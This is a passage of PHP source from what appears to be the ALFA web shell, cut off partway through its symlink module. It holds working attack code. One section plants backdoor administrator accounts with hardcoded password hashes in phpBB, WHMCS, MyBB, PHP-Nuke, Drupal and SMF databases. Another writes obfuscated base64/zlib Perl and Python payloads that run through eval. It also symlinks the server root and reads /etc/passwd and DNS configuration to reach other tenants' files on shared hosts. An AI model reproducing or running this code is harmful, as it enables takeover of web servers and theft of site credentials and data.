 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5('solevisible');
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');
}
}
}
if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){

echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){

echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){

echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa7'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5($pwd);
$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){

echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)
 );
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid['uid'];
$getdescuid = $getDescuid++;
$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','[email protected]','filtered_html','1','Europe/Berlin','[email protected]')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['uid'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}

if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){

echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 );
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . 'solevisible');
$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','[email protected]')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
echo "</div>";
alfafooter();
}
function alfaMakePwd(){
	if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
		return "/home/{user}/public_html/";
	}
	$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
	$public = end($document);
	array_pop($document);
	array_pop($document);
	$path = implode("/", $document) . "/{user}/" . $public;
	return $path;
}
function alfaGetDomains($state = false){
	$state = "named.conf";
	$lines = array();
	$lines = _alfa_file('/etc/named.conf');
	if(!$lines){
		$lines = @scandir("/etc/valiases/");
		$state = "valiases";
		if(!$lines){
			$lines = @scandir("/var/named");
			$state = "named";
			if(!$lines && $state){
				$lines = _alfa_file('/etc/passwd');
				$state = "passwd";
			}
		}
	}
	return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder(){
	$parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
	if(!@is_dir($parent)){
		@mkdir($parent, 0755, true);
	}
}
function alfasymlink(){
alfahead();
AlfaNum(9,10);
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){
	$sympath = alfaMakePwd();
	@mkdir('cgialfa',0755);
	@chdir('cgialfa');
	alfacgihtaccess('cgi');
	$perl = '#!/usr/bin/perl   -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;my $alfa_data="'.__ALFA_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("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")));';
	$py = '#!/usr/bin/python'."\nimport zlib, base64\nalfa_data='".__ALFA_DATA_FOLDER__."'\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
	$cginame = "symperl.alfa";
	$source = $perl;
	$lang = "perl";
	if($_POST["alfa2"]=="sympy"){
		$cginame = "pysymlink.alfa";
		$source = $py;
		$lang = "python";
	}
	@__write_file($cginame,$source);
	@chmod($cginame,0755);
	echo __pre();
	$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
	if(strlen($resource) == 0){
		echo AlfaiFrameCreator('cgialfa/'.$cginame);
	}else{
		echo $resource;
	}
}
if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){
if(function_exists('symlink')||_alfa_can_runCommand(true,true)){
AlfaNum(9,10);
echo __pre().'
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
$path = $_POST['alfa5'];
$symname = $_POST['alfa6'];
$solevisible58 = $_POST['alfa7'];
if($solevisible58){
$new_name = str_replace(".", "_", basename($symname));
$rand_dir = $new_name.rand(111,9999);
$sym_dir = 'alfasymlinkphp/'.$rand_dir.'/';
@mkdir($sym_dir, 0777, true);
alfacgihtaccess('sym', $sym_dir, $symname);
_alfa_symlink("$path","$sym_dir/$symname");
echo __pre();
echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.__ALFA_DATA_FOLDER__."/".$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
}
}else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
}
if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){
$cant_symlink = true;
if(function_exists('symlink')||_alfa_can_runCommand(false,false)){
@mkdir('alfasymlink',0777);
alfacgihtaccess('sym','alfasymlink/');
_alfa_symlink('/','alfasymlink/root');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = alfaGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _alfa_can_runCommand(false,false);
if(!$is_posix && !$can_runcmd){
	$anonymous = true;
	$anony_domains = $domains["lines"];
	$lines = _alfa_file('/etc/passwd');
}
echo $table_header;
$count=1;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
foreach($lines as $line){
	$domain = "";
	$owner = "";
	if($anonymous){
		$explode = explode(":", $line);
		$owner = $explode[0];
		$owner_len = strlen($owner) - 1;
		$userid = $explode[2];
		if((int)$userid < 500)continue;
		$domain = "[?????]";
		$temp_black = array();
		$finded = false;
		foreach($anony_domains as $anony){
			if($state == "named.conf"){
				if(@strstr($anony, 'zone')){
					preg_match_all('#zone "(.*)"#',$anony, $data);
					$domain = $data[1][0];
				}else{
					continue;
				}
			}elseif($state == "named" || $state == "valiases"){
				if($anony == "." || $anony == "..")continue;
				if($state == "named")$anony = rtrim($anony, ".db");
				$domain = $anony;
			}
			$sub_domain = str_replace(array("-","."), "", $domain);
			if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
				if(in_array($owner.$domain, $temp_black))continue;
